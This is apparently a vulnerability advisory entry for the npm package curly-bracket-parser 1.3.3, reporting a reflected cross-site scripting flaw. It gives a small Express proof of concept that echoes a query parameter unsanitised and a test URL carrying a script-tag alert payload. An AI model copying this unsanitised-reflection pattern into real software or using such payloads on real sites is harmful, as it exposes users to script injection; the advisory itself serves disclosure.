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curly-bracket-parser@1.3.3 vulnerabilities

Simple parser to replace variables inside templates/strings and files for node js and browser.

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Direct Vulnerabilities

Known vulnerabilities in the curly-bracket-parser package. This does not include vulnerabilities belonging to this package’s dependencies.

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Vulnerability Vulnerable Version
  • M
Cross-site Scripting (XSS)

curly-bracket-parser is a Simple parser to replace variables inside templates/strings and files.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS). When used as a template library, it does not properly sanitize the user input.

PoC

const express = require('express')
const parser = require('curly-bracket-parser')

const app = express()
const port = 3000


app.get('/reflected_string', (req, res) => {
    res.send(parser.parse('hi {{name}}', {name:req.query.name}))
});


app.listen(port, () => {
    console.log(`listening on ${port}`)
})

# Navigate to localhost:3000/reflected_string?name=<script>alert('code')</script>

How to fix Cross-site Scripting (XSS)?

There is no fixed version for curly-bracket-parser.

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